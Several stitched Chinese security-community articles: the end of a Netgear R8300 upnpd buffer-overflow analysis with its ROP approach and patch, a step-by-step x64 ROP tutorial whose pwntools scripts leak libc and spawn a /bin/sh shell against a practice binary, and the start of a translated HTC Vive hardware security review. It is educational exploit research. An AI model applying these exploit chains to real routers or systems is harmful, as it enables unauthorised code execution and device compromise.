+ ENTRY("bs_trustedip_enable", nvram_set, "0") \
+ /* Used by Netgear router: enable upnpd log */ \
+ ENTRY("upnpd_debug_level", nvram_set, "3") \
+ /* Used by "Netgear R8300" */ \
+ ENTRY("hwrev", nvram_set, "MP1T99")
# 成功运行
<extracted squashfs-root>$ sudo chroot . ./qemu-arm-static -E LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd
nvram_get_buf: upnpd_debug_level
sem_lock: Triggering NVRAM initialization!
nvram_init: Initializing NVRAM...
# ... <omit>
nvram_match: upnp_turn_on (1) ?= "1"
nvram_match: true
ssdp_http_method_check(203):
ssdp_discovery_msearch(1007):
ST = 20
ssdp_check_USN(212)
service:dial:1
USER-AGENT: Google Chrome/84.0.4147.125 Windows
### 漏洞分析
在`upnp_main()`中，在`(1)`处`recvfrom()`用来读取来自`socket`的数据，并将其保存在`v55`指向的内存空间中。在`(2)`调用`ssdp_http_method_check()`，传入该函数的第一个参数为`v55`，即指向接收的`socket`数据。
int upnp_main()
{
char v55[4]; // [sp+44h] [bp-20ECh]
// ...
while ( 1 )
{
// ...
if ( (v20 >> (dword_C4580 & 0x1F)) & 1 )
{
v55[0] = 0;
v28 = recvfrom(dword_C4580, v55, 0x1FFFu, 0, (struct sockaddr *)&v63, (socklen_t *)&v71); // (1)
// ...
if ( v29 )
{
if ( v28 )
{
// ...
if ( acosNvramConfig_match("upnp_turn_on", "1") )
ssdp_http_method_check( v55, (int)&v59, (unsigned __int16)(HIWORD(v63) << 8) | (unsigned __int16)(HIWORD(v63) >> 8)); // (2)
// ...
在`ssdp_http_method_check()`中，在`(3)`处调用`strcpy()`进行数据拷贝，其中`v40`指向栈上的局部缓冲区，`v3`指向接收的`socket`数据。由于缺乏长度校验，当构造一个超长的数据包时，拷贝时会出现缓冲区溢出。
signed int ssdp_http_method_check(const char *a1, int a2, int a3)
{
int v40; // [sp+24h] [bp-634h]
v3 = a1;
// ...
wrap_vprintf(3, "%s(%d):\n", "ssdp_http_method_check", 203);
if ( dword_93AE0 == 1 )
return 0;
strcpy((char *)&v40, v3); // (3) stack overflow
// ...
## 漏洞利用
`upnpd`程序启用的缓解措施如下，可以看到仅启用了`NX`机制。另外，由于程序的加载基址为`0x8000`，故`.text`段地址的最高字节均为`\x00`，而在调用`strcpy()`时存在`NULL`字符截断的问题，因此在进行漏洞利用时需要想办法绕过`NULL`字符限制的问题。
$ checksec --file ./upnpd
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
`SSD`公开的[漏洞细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)中给出了一个方案：通过`stack
reuse`的方式来绕过该限制。具体思路为，先通过`socket`发送第一次数据，往栈上填充相应的`rop
payload`，同时保证不会造成程序崩溃；再通过`socket`发送第二次数据用于覆盖栈上的返回地址，填充的返回地址用来实现`stack
pivot`，即劫持栈指针使其指向第一次发送的`payload`处，然后再复用之前的`payload`以完成漏洞利用。`SSD`公开的漏洞细节中的示意图如下。
实际上，由于`recvfrom()`函数与漏洞点`strcpy()`之间的路径比较短，栈上的数据不会发生太大变化，利用`stack
reuse`的思路，只需发送一次数据即可完成利用，示意图如下。在调用`ssdp_http_method_check()`前，接收的`socket`数据包保存在`upnp_main()`函数内的局部缓冲区上，而在`ssdp_http_method_check()`内，当调用完`strcpy()`后，会复制一部分数据到该函数内的局部缓冲区上。通过覆盖栈上的返回地址，可劫持栈指针，使其指向`upnp_main()`函数内的局部缓冲区，复用填充的`rop
gadgets`，从而完成漏洞利用。
另外在调用`strcpy()`后，在`(4)`处还调用了函数`sub_B60C()`。通过对应的汇编代码可知，在覆盖栈上的返回地址之前，也会覆盖`R7`指向的栈空间内容，之后`R7`作为参数传递给`sub_B60C()`。而在`sub_B60C()`中，会读取`R0`指向的栈空间中的内容，然后再将其作为参数传递给`strstr()`，这意味`[R0]`中的值必须为一个有效的地址。因此在覆盖返回地址的同时，还需要用一个有效的地址来填充对应的栈偏移处，保证函数在返回前不会出现崩溃。由于`libc`库对应的加载基址比较大，即其最高字节不为`\x00`，因此任意选取该范围内的一个不包含`\x00`的有效地址即可。
在解决了`NULL`字符截断的问题之后，剩下的部分就是寻找`rop
gadgets`来完成漏洞利用了，相对比较简单。同样，`SSD`公开的[漏洞细节](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)中也包含了完整的漏洞利用代码，其思路是通过调用`strcpy
gadget`拼接出待执行的命令，并将其写到某个`bss`地址处，然后再调用`system gadget`执行对应的命令。
在给出的漏洞利用代码中，`strcpy gadget`执行的过程相对比较繁琐，经过分析后，在`upnpd`程序中找到了另一个更优雅的`strcpy
gadget`，如下。借助该`gadget`，可以直接在数据包中发送待执行的命令，而无需进行命令拼接。
.text:0000B764 MOV R0, R4 ; dest
.text:0000B768 MOV R1, SP ; src
.text:0000B76C BL strcpy
.text:0000B770 ADD SP, SP, #0x400
.text:0000B774 LDMFD SP!, {R4-R6,PC}
## 补丁分析
`Netgear`
官方在`R8300-V1.0.2.134_1.0.99`版本中修复该漏洞。函数`ssdp_http_method_check()`的相关伪代码如下，可以看到，在补丁中调用的是`strncpy()`而非原来的`strcpy()`，同时还对局部缓冲区`&v40`进行了初始化。
signed int ssdp_http_method_check(const char *a1, int a2, int a3)
{
int v40; // [sp+24h] [bp-Ch]
v3 = a1;
// ...
memset(&v40, 0, 0x5DCu);
v52 = 32;
sub_B814(3, "%s(%d):\n", "ssdp_http_method_check", 203);
if ( dword_93AE0 == 1 )
return 0;
v51 = &v40;
strncpy((char *)&v40, v3, 0x5DBu); // patch
// ...
## 小结
本文通过搭建`Netgear`
`R8300`型号设备的仿真环境，对其`UPnP`服务中存在的缓冲区溢出漏洞进行了分析。漏洞本身比较简单，但漏洞利用却存在`NULL`字符截断的问题，`SSD`公开的漏洞细节中通过`stack
reuse`的方式实现了漏洞利用，思路值得借鉴和学习。
## 相关链接
* [Security Advisory for Pre-Authentication Command Injection on R8300, PSV-2020-0211](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211)
* [SSD Advisory – Netgear Nighthawk R8300 upnpd PreAuth RCE](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/)
* [Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现](https://paper.seebug.org/1311)
* [Firmadyne libnvram](https://github.com/firmadyne/libnvram) | 社区文章 |
随着网络安全的发展，在网络攻方对抗中，漏洞利用的难度在不断增大，为了绕过各种漏洞缓解措施，掌握ROP技术势在必行。在很多时候漏洞程序往往都开启了堆栈代码执行保护NX（windows下叫DEP），这样早期我们直接把SHELLCODE放到栈上执行的方法就完全失效了。ROP技术通俗的讲就是在控制了函数地址指针后，通过不断地跳转到程序加载的地址空间去执行代码的方式，想办法获得我们想要执行的函数的地址并执行，中途或许为了跳转或给寄存器赋值还需要执行一些代码片段(类似pop
ebp,retn该代码片段的地址通常被称为gadget)，最终获得一个可以交互的SHELL的技术。
本文将以linux x64系统作为调试环境，用IDA作为调试器，以一个实例来分析通过ROP技术来绕过堆栈代码执行保护，最终获得一个交互式SHELL的过程。
### 一、 漏洞简要分析
漏洞程序下载地址：<https://pan.baidu.com/s/1eRTWfmi> 密码: wxd9
漏洞原理分析并不是本文的重点，本文将通过一个简单的存在溢出漏洞的linux
x64平台下的二进制文件的分析，来研究在开启了NX保护时，通过ROP技术来实现溢出漏洞利用的技术。下文中该二进制文件统一命名为rop，用64位IDA打开rop，定位到vuln函数，并按F5，看到其反汇编代码如下:
[
从汇编代码可以看出，进入该vuln后 sub rsp-0x40
，堆栈开辟了0x40字节空间，然后调用gets函数读入数据到edi所指向的空间，edi此时实际上是等于rsp的指向栈顶的位置，gets函数读入数据以换行符号为结束标志，在遇到换行符号前，会读取任意数据到栈里，这样当读入超长字符串后，就会覆盖函数的返回地址，在该函数执行retn时就会可以返回到任意我们指定的地方去执行代码。这是一个很典型的缓冲溢出漏洞。
### 二、 漏洞调试
下面我们用调试器调试一下这个漏洞发生的过程。本文调试将借助于python代码进行，并需依赖pwn库。
首先在win系统设置IDA，在调试器栏选择remote linux debugger，在菜单debugger下拉菜单里选择process
option选项，设置如下：
[
其中目录就选择rop所在目录，hostname填上linux虚拟机的ip，同时填上该虚拟机密码，端口默认选择23946。
然后打开linux虚拟机，并把ida目录下的linxu_serverX64拷贝到虚拟机里并执行，如图：
[
Rop的功能比较简单，就是执行的时候，输入字符并打印出来。用py编写调试代码rexp.py如下：
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop') #这个会显示rop用了哪些保护技术
pdb.set_trace()#这里设置一个pdb断点，可以让ida附加rop进程
target.sendline('a'*64+'b'*8+'c'*8)
target.interactive()
然后在linux系统上新开一个终端，执行rexp.py如下:
[
可以看到py代码中断了，通过调试信息可以看到rop开启了nx保护，因为堆栈只开辟了0x40字节空间，那么我们用0x40个字符a覆盖此空间，再用8个字符b覆盖ebp，后面用8个字符c就可以覆盖返回地址了，函数返回时将会跳转到cccccccc
指向的空间去执行，从而崩溃。下面跟踪调试一下这一过程。
在ida vuln函数里的gets函数后面下好断点，然后点击debugger,附加远程进程，找到./rop打开：
[
打开后按F9执行。在linux中断里按n并回车，可以看到栈里的数据被覆盖，并且返回地址恰好被cccccccc覆盖掉。
[
当函数执行到retn时 rsp指向的地址为cccccccc ，程序将跳转到该地址处去执行，我们成功控制了返回地址，可以跳转到任何地方去执行代码。
[
但是因为开启了NX 保护，我们不可以把shellcode放到栈上来执行了，因此我们就需用用到ROP技术来迂回获得SHELL。
### 三、 漏洞利用方式分析
如果要最终执行SEHLLCODE来获得SHELL就要通过mmap函数在可执行代码的区域来申请一片空间，然后再执行gets函数拷贝shellcode到该空间，最后把EIP指向shellcode的空间去执行。这样就需要在rop的内存里找到一个可执行可以写的空间，我们在IDA
里按ctrl+s 如图:
[
从上图可以看到所有ROP空间，凡是可写空间，都不可以执行；凡是可以执行空间都是只读的，所以上面提到的获得SHELL的方式就无法利用了。但是上图也可以看出rop内存里加载了libc库，这个库里面有system函数，执行system(‘/bin/sh’)同样可以获得一个SHELL
，因此我们将通过该方式获得SHELL。
然后问题就来了，rop虽然没有开启pie（内存地址随机化），其内存加载基地址虽然是固定的，但是rop里面并没有调用system函数，无法直接把system函数拿来用。我们只好到libc地址空间去找system函数地址，但是如果linux系统开启了地址随机化，那么每次加载libc的基地址就会不同。现在该怎么办呢？我们观察到rop漏洞函数部分有一个printf函数，打印来自终端输入的字符串，是否可以用printf函数来获得system函数的地址呢？我们看到rop里相关代码如下：
[
从上图可以看出在执行printf函数前，edi指向的是格式化串，rsi指向的是被打印串的地址。如果控制了rsi那么我们就可以打印任何地址的内容。
另外我们看到rop调用了几个libc里面的函数如图：
[
其中有printf,gets,setvbuf，在rop内存这几个函数的got表地址是固定的，并且在rop执行后，got表地址指向的内容就变成了该函数在libc空间的地址。因此如果我们改变rsi为某个函数got表的地址，那么就可以打印出其在libc空间的地址，然后再根据该函数和system函数的偏移来计算出system
函数的地址就可以了。然后想办法传入’/bin/sh’,再找机会执行system就达到目的。下面就来通过ROP实现这一过程。
### 四、 ROP链构造获得system函数地址
接下来我们就要去研究如何控制printf打印前rsi的值。既然我们控制了函数的返回地址，那么是否可以去跳转到一个代码片段，这里给rsi赋值后返回，然后再跳转到printf那里执行呢？实际上，这就是获得gadget的过程，已经有现成的工具来搜索这样的代码片段了，读者可以自行查找。在IDA里直接搜索文本pop
rsi也是可以的，但是经过搜索发现并没有这样的代码片段。不过看到了如下代码片段：
[
我们看到我们在栈里布置好数据，先执行40075A处代码，然后再跳转到40070处去执行，这样就可以控制r12,edi， rsi，然后执行call的时候
让call地址变成printf got表里的地址，这样就可以打印任何地址指向的内存值了。我们接下来就来调试用printf打印printf在libc里的地址。
那接下来怎么布置堆栈呢？
1、返回地址处用0x40075a覆盖。
2、因为上图中call执行完后 要判断rbx rbp是否相等，不等要继续循环，
所以这里让rbx为0，rbp为1就绕过了循环判断。所以覆盖完返回地址后继续用0x0和0x1填充，这样pop时就可以覆盖掉 rbx,rbp。
3、接下来用printf的got地址填充，这样可以pop给r12，刚好rbx 为0，然后call的时候执行printf。
4、R13传给了edx 这里并没什么作用，因此就用0x0填充。
5、R14传给了RSI 是我们想要打印的地址，这里打印printf got表地址指向的内容，所以用printf got表地址覆盖。
6、R15传给了edi，对于printf来说他是一个格式化串，直接就用rop里该串的地址0x400784填充
7、Pop r15后执行的是retn，要返回到rsp指向的空间，这里因为我们要跳转到0x400740去执行call，所以后面就用0x400740来填充
8、Call执行完后，还要执行一个“add rsp ,8”和6次pop，然后返回，那么我们在后面再布置7个地址，然后返回地址用vuln的地址，然后rop
继续跳转到漏洞函数里去，方便后面再操作。所以接下来填充7个0x0和0x400656。
然后利用测试代码如下：
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop')
printf_got_addr=elf.got['printf']
print hex(printf_got_addr)
rop='a'*72
rop+=p64(0x40075a)# 上面描述的rop链 这里开始覆盖返回地址
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(printf_got_addr)#execprintf
rop+=p64(0x0)#
rop+=p64(printf_got_addr)#
rop+=p64(0x400784)#
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
pdb.set_trace()
target.sendline(rop)
target.recvuntil(':')#正常执行vul时会收到you said:
target.recvuntil(': ') #劫持执行vul时也会收到you said: 所以接收两次
addr=target.recvline()[:-1]
addr =u64(addr+'\x00'*(8-len(addr)))
print 'printfs addr is:'
print hex(addr)
target.interactive()
然后我们利用前面提到的调试方法来调试，py代码执行后如图：
[
这里打印出了printf got地址为0x600af0,按n后，IDA在gets后断下，如图所示：
[
我们看到堆栈里，返回地址被成功覆盖，然后
0,1都覆盖成功了，接下来本来应该覆盖成printf_got_addr=0x600af0，现在却成了0x400f0，然后后面的地址都没有被按我们想象的填充，而是堆栈里原本的值。这又是为什么呢？
百思不得其解？经过仔细研究分析，前面提到过gets遇到换行符号就结束，后面的内容不再读取了，再看看printf_got_addr=0x600af0
这个数据里面刚好有个0x0a，这个就是换行符号对应的内存值，因此在读取0xf0后gets就结束读取了，所以后面的就无法正常覆盖了。那接下来怎么办呢？我们只好再整理一下思路，继续突破。能否执行gets函数，然后读入数据到某个地方，最后执行呢？答案在前面就否定了，能写的都不能执行。Rop里用的函数就只有printf
gets setvbuf，仔细查过sevbuf貌似也没啥用，gets只能读入又不能读出。这下感觉身陷困境，有什么办法呢？
我们再来分析一下前面找到的用来控制寄存器和执行函数的代码片段：
[
在痛苦地思索了良久后，突然发现，不用直接传0x600af0进去啊，可以配合rbx _8 变换
然后r12变成一个其他的没有0x0a字节的值就可以了啊。这时r12=0x600af0-rbx_
8，如果要改变到0x0a字节，那么需要rbx*8大于0xf0，于是rbx>0xf0/8
即rbx>0x1e,这里不防取rbx=0x1f,那么r12=0x600af0-0xf8。为了让cmp rbx
rbp返回为0，直接往下执行，不再循环，那么需要让rbp=rbx+1（在cmp前rbx增加了1）。为了不有任何0x0a字节，接下来我们把要打印的地址变成gets
的地址，通过它和system的偏移也可以计算出system地址来，然后我们的rop链就变成如下了：
rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#execprintf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
替换上面代码rop链部分，然后我们再来调试执行，如图：
[
现在堆栈里的数据已经完全按照我们的要求布置好了，然后我们单步继续运行，当执行retn后，程序将跳转到0x40075A处去执行，单步步过retn后如图：
[
接下来 现在的堆栈里的数据 将会一个一个被pop到寄存器里，然后跳转到0x400740 处去执行，步过retn后再单步几次来到0x400749处如图：
[
可以看到此时edi为格式化串的地址了，rsi为gets got地址（存放的是其在libc里的地址）将要被打印，r12+rbx*8=0x600af0
是printf got地址，call执行后将打印gets 在libc里的地址。同时看到堆栈里有7个地址都是存放的0，在执行完call后会add rsp 8
，再6次pop刚好把0都pop完后返回到地址0x400656处（vuln函数地址）执行。可是当在call处按下f8单步执行后，让人意外的事情再次发生了：
[
Rop发出了一个它准备退出的信号，好吧不跟我们玩了，漏洞分析调试就是一个让人兴奋与崩溃并存的事情，保持耐心，收拾好心情，我们再来分析分析！
这时重新调试rop在上面call的地方，我们单步进去，如图：
进来之后发现这里有处跳转，但是rax为0x56，跳转不能实现：
[
会不会正常执行printf时这里跳转实现了呢，我们在正常call _printf处时单步进去，然后F8一直跟踪到上述代码处，如图：
[
发现这里rax为0，也就是要正常执行prinf,还要保证rax为0。前面我们覆盖返回地址为0x40075a，在该处没有代码如下：
[
该处完全没有能控制rax的地方，那么怎么办呢？这样我们在返回执行0x40075a前，还要找到一处代码片段(gadget)控制rax为0，然后再跳到0x40075a处执行。通过搜索，发现0x4005f3
处有如下代码：
[
这里把eax置0，然后直接跳转到pop rbp处然后返回，可以满足我们的需求。然后我们把返回地址覆盖为0x4005f3，然后再填充一个0x0让其pop
ebp用，接着retn时返回地址我们就布置为上面的0x40075a，这样就完成了rax指令操作后又跳回去执行printf函数了。现在我们的rop链如下：
rop='a'*72
rop+=p64(0x4005f3)# eax=0 or printf can't run normer
rop+=p64(0x0)#
rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#execprintf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
替换后，调试如下：
[
这时已经将gets函数在libc里的地址打印出来了。并且rop返回到vuln函数去继续执行了。在附加调试的时候，在IDA找到system函数地址
和gets函数地址，计算两个地址之间的偏移：
[
然后我们把前面打印出来的gets函数地址减去这个偏移就得到了，目标系统里的system函数的地址。
### 五、ROP链构造执行system函数
获得了system函数地址后，接下来要做的就是执行system函数了。那么问题又来了，X64系统下，函数的参数都是房子寄存器里的，第一个参数地址放在rdi里，这样要执行sytem(‘/bin/sh’)我们就需要找到’/bin/sh’字符串的地址，然后把该地址放到rdi再去调用执行system
函数，才能获得shell。现在利用上面的gadget控制rdi是没有问题的，但是哪里有’/bin/sh’呢，其实在libc里面有’/bin/sh’也可以计算偏移得到地址，但是这里为了再巩固一下rop链的魅力，这里我们不用这个方法。
通过观察rop各区段信息，发现.bss段说可写的，我们可以利用rop技术执行gets函数，然后把’/bin/sh’读入到这个区域，然后记录其地址，并传给edi。用上面的gadget我们发现要执行call，如果能call到system函数里去，就一切都完美了。Call调用实际上是调用的
地址的地址，比如我们要执行system,那么假如我们把其地址放在 0x600b30处，这时执行call
0x600b30就会跳转到system地址处去执行。0x600b30刚好就是.bss段开始处，不防我们把system地址放到0x600b30处，把’/bin/sh’字符串放到0x600b38处。那么现在就要构造rop来执行gets函数了。我们看看原代码里gets函数相关的反汇编代码如下：
可以看到，gets执行后实际上是把输入的数据直接读入到了rdi指向的内存空间了，然后我们就控制rdi为0x600b30,然后一起读入system地址和/bin/sh。
所利用的代码片段如下：
[
根据前面的思路，这里要控制r15=rdi=0x600b30,r12=getsgot，rbx=0,rbp=1，这里不用控制rax为0了。然后构造rop链如下：
rop='a'*72
rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(gets_got_addr)#
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b30)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x40075a)#
上面是执行gets的过程，gets执行完后
就在0x600b30处布置好了system函数地址，在0x600b38处存放了’/bin/sh’串，最后我们还要再执行system函数，还要在此执行该代码片段，所以返回地址直接写成了0x40075a。
执行system，要控制system的参数为字符串’/bin/sh’的地址，即r15=rdi=0x600b38,r12=0x600b30(该地址存放着system的地址)，rbx=0,rbp=1。然后构造rop链如下：
op+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(0x600b30)#execsystem
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b38)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
最后我们发送rop链过去
arget.sendline(rop)
然后就会发生溢出执行gets函数读入数据：
[
从上图可以看到r12就是gets
got，rdi就是我们想写入数据的地方。栈里后面又布置了一片数据，用来在gets读完数据后，再返回去执行system。按f8后，这时再发送如下数据：
target.sendline(p64(sys_addr)+'/bin/sh')
这时就会把system地址 和’/bin/sh’串放入0x600b30处，如图：
[
接着返回后又返回执行system函数，如图：
[
可以看到此刻call地址指向了system地址，参数edi存放的是’/bin/sh’地址，然后一路执行下去，就获得了SHELL，如图：
[
最后完整的EXP如下：
#! /usr/bin/python
from pwn import *
import pdb
context.log_level = 'debug'
target = process('./rop')
elf=ELF('./rop')
gets_got_addr=elf.got['gets']
printf_got_addr=elf.got['printf']
print hex(gets_got_addr)
rop='a'*72
rop+=p64(0x4005f3)# eax=0 or printf can't run normer
rop+=p64(0x0)#
rop+=p64(0x40075a)#
rop+=p64(0x1f)#->rbx
rop+=p64(0x20)#->rbp
rop+=p64(printf_got_addr-0xf8)#exec printf
rop+=p64(0x0)#
rop+=p64(gets_got_addr)#
rop+=p64(0x400784)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
target.sendline(rop)
target.recvuntil(':')
target.recvuntil(': ')
addr=target.recvline()[:-1]
addr = u64(addr+'\x00'*(8-len(addr)))
sys_addr=addr-0x2bdc0
print 'sysaddr is:'
print hex(sys_addr)
rop='a'*72
rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(gets_got_addr)#exec system
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b30)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x40075a)# return to vul
\#rop='a'*72
\#rop+=p64(0x40075a)#
rop+=p64(0x0)#->rbx
rop+=p64(0x1)#->rbp
rop+=p64(0x600b30)#exec system
rop+=p64(0x0)#
rop+=p64(0x0)#
rop+=p64(0x600b38)#.bss
rop+=p64(0x400740)#
rop+=p64(0x0)*7#
rop+=p64(0x400656)# return to vul
target.sendline(rop)
target.sendline(p64(sys_addr)+'/bin/sh')
target.sendline(rop)
target.interactive()
### 六、总结
在漏洞学习研究的过程中，深感只有亲自去调试漏洞，孤独寂寞地去盯着寄存器的变化，盯着堆栈数据的变化，才能略知其中的奥妙，才能感受到前人的智慧光芒，才能深入理解漏洞成因和漏洞利用的艺术！ | 社区文章 |
# HTC Vive的VR眼镜中的危险场景分析
##### 译文声明
本文是翻译文章，文章来源：embedi.com
原文地址：<https://embedi.com/blog/dangerous-reality-inside-of-vr-headset-htc-vive/>
译文仅供参考，具体内容表达以及含义原文为准。
## 介绍
VR主题已经成为一种现代化趋势，它使电脑科幻小说转化成的光影图像更接近现实。因此，也毫不奇怪大家对它保持着不变的热情。多年来，VR耳机的价格已经远远低于最开始第一款产品发布时的价格。毫无疑问，未来VR设备在任何家庭中都将会变得像台式电脑一样自然。根据[IDC的数据](https://dazeinfo.com/2017/06/28/the-age-of-vr-is-already-upon-us-could-ar-be-next/)，到2021年，VR耳机的出货量将达到6700万台。
这就是为什么我们决定研究一下VR头戴式设备——也就是VR眼镜，以了解一个网络犯罪分子可以如何玩它，以及可能会对设备主人造成什么伤害。
我们研究了攻击者可能使用的以下攻击场景：
1. 入侵VR眼镜并更改其位置坐标，这可能会导致用户受伤。
2. 入侵VR眼镜并添加一些怪异的视觉效果，导致心理创伤和紊乱。
3. 入侵VR眼镜并使用广告横幅屏蔽其屏幕。
4. 将VR眼镜转变为感染链中的一环，并在它连接到其他设备时传播病毒。
如果您发现本文至少有一半像我们做的那样有趣，欢迎阅读我们对HTC Vive安全性的简短回顾。
## 研究HTC VIVE
HTC Vive是目前市场上最广泛的VR设备之一，同时它也激起了大多数研究者的兴趣。让我们先从分析VR系统的组件及其功能开始，HTC
Vive由4个主要部分组成。
### 眼镜
[Fig 1.](https://www.vive.com/ru/product/)[
HTC](https://www.vive.com/ru/product/)[
Vive](https://www.vive.com/ru/product/)[ 眼镜](https://www.vive.com/ru/product/)
眼镜的主要目的是对用户头部进行位置跟踪并将图像输出到VR眼镜的显示器。它既是系统中最重要也是最有趣的部分，它配备了摄像头和32个位置跟踪传感器，另外还包含四个连接口：
* 两个USB 3.0
* 充电口
* Jack 3.5
* HDMI
最开始将设备连接到PC时就用到了三个连接口，只有一个USB连接口保持空闲状态以供外部设备连接。
在系统工作时，眼镜是唯一一个会始终连接到PC的组件。通过拆解眼镜，我们可以接触到它的主板，以及所有我们感兴趣的部分。
主板的第一面上主要有四个组件：
* 3个ARM处理器;
* NXP 11U35F
* 两个Nordic nRF24LU1P
* 32 Mb Micron N25Q032A13ESE40E
图2.眼镜主板第一面
第二面还有几个重要组件：
* 两个ARM处理器;
* STM32F072R8;
* AIT8328;
* USB Audio SoC CM108B;
* USB-hub SMSC USB5537b
* FPGA Lattice ICE40HX8K-CB132
* 4 Mb Micron MP25P40
* 32 Mb Micron N25Q032A13ESE40E
图3.眼镜主板第二面
### 基台
图4.HTC Vive基台
基台的主要目的是追踪用户的位置，它们以每秒60次的周期发送同步脉冲，然后在房间中从上到下、从左到右投射激光束，传感器收集捕捉到的数据并将其发送给眼镜和控制器手柄里的微控制器处理以追踪用户的位置。
基台配备电源和用于同步的Jack 3.5，其中每一个工作站还带有一个蓝牙模块，用于发送有关设备正在进入或退出睡眠模式的通知。
在基台内部，有NXP 11U37F (ARM Cortex-M0) 芯片，负责基台的主要功能。
[图5.底座主板第一面](https://www.ifixit.com/Guide/Image/meta/SeM3B6DUj2HaoNca)
Broadcom BCM20736 (ARM Cortex-M0) 保证了蓝牙的运行。还有RS-485/RS-422收发器，通过Jack
3.5同步基台的两个工作站。
[图6.底座主板第二面](https://www.ifixit.com/Guide/Image/meta/dQbVNd2bRtHycOh4)
基台和PC之间的交互接近于零（仅限于更新程序），而眼镜会在硬件级别下借助激光束进行通信，如果光束的工作方式发生任何变化，系统都将无法正常运行。
### 控制器手柄
[图7.HTC Vive 手柄](https://www.vive.com/ru/product/)
很明显，控制器手柄用于追踪用户的手部动作以确保用户获得完整的VR体验。至于连接口，它们仅配备microUSB进行充电和更新。但它里面是什么？好吧，里面有基于Cortex-M0的NXP
11U37F处理器，它维护着控制器的主要功能。另外还有FPGA ICE40HX8K-CB132用于处理响应基台投射的激光束的传感器；和一个4 Mb
Micron M25P40芯片。乍一看，很难发现蓝牙芯片，因为它是一个隐藏在金属屏幕下的wall-flower Nordic nRF24LU1P。
图8. HTC Vive控制器手柄主板
### 链接盒
[图9. HTC Vive的链接盒](https://www.vive.com/ru/product/)
链接盒是PC和眼镜之间的枢纽，它的一侧有四个连接口：
* 充电口
* USB 3.0用于连接PC
* 显示端口
* HDMI
另一侧，有三个眼镜连接口：
* 出电口
* HDMI
* USB 3.0
我们可以很容易就找到了其所需的蓝牙芯片，以便快速便捷地进行设备更新。
## WATCHMAN更新和控制台
浏览了SteamVR软件文件夹后，我们找到了两个有用的程序：lighthouse_console.exe和lighthouse_watchman_update.exe。第一个是用于处理HTC
Vive设备的控制台，后者则可以更新眼镜设备。
通过执行lighthouse_console中的help命令，我们可以看到列出的以下命令：
lh> help
associatecontroller Associated the attached controller to the attached puck
axis Toggle VRC axis data dumping
battery Print battery status
button Toggle button data dumping
clear Clear the record buffer and accumulated statistics.
dump Toggle all dumping to the console. You must also turn on the individual { imu, sync, sample } flags.
errors Dump the lighthouse error/status structure.
event Toggle lighthouse aux event dumping
eventmask Select lighthouse aux events to report
isp Enable In-System Programming
haptic [us] Trigger haptic pulse
identifycontroller Trigger haptic pulses on the active serial number to identify it
imu Toggle IMU data packet dumping
imustats Print IMU statistics
period Print sync statistics
dis [<type=auto>] Toggle disambiguation. types={ auto, tdm, framer, synconbeam }
syncd Toggle sw sync detect
pose Toggle static pose solver. Is 'dis' is not active, it will enable it.
poweroff Turn off the active controller
record Toggle event recording. You must also turn on the individual { imu, sync, sample } flags.
serial Select a device to open by serial number substring
sensorcheck Print out hits (and widths) per sensor
save [<filename="lighthouse_console_save.txt">] Save recorded events to a file on disk
sync Toggle sync dumping
sample Toggle sample dumping
trackpadcalibrate Trigger trackpad recalibration on the active controller
uploadconfig [<filename>] Upload the config file to the device
downloadconfig [<filename>] Download the config file
reformatconfig <inputfilename> <outputfilename> Update the config to the latest json format
version Prints the firmware and hardware version on the Watchman board
userdata Get a directory listing of the stored userdata
userdatadownload <name> Download the specified named userdata
userdatadownloadraw <addr> <size> [<filename>] Download and store the user data at specified address
userdatasize Display the size of the user data space (in bytes)
ispdiv <divisor> Set the camera ISP sync signal divisor
quit Quit
但如果在IDA Pro中打开程序则可以看到更多内容：
if ((unsigned __int8)sub_402210(v11, "pair")){
v173[1] = 0;
if (*(_DWORD *)(v217 + 16) == 8449)
sub_42EC30(10000, (char)v173[1]);
else
sub_42ED10((char)v173[1]);
goto LABEL_497;
}
if ((unsigned __int8)sub_402210(v11, "pairall")){
sub_40C4C0(15000, 0);
goto LABEL_497;
}
if ((unsigned __int8)sub_402210(v11, "forcepairall")){
sub_40C4C0(15000, 1);
goto LABEL_497;
}
if ((unsigned __int8)sub_402210(v11, "unpair")){
sub_42BA80(v217);
goto LABEL_497;
}
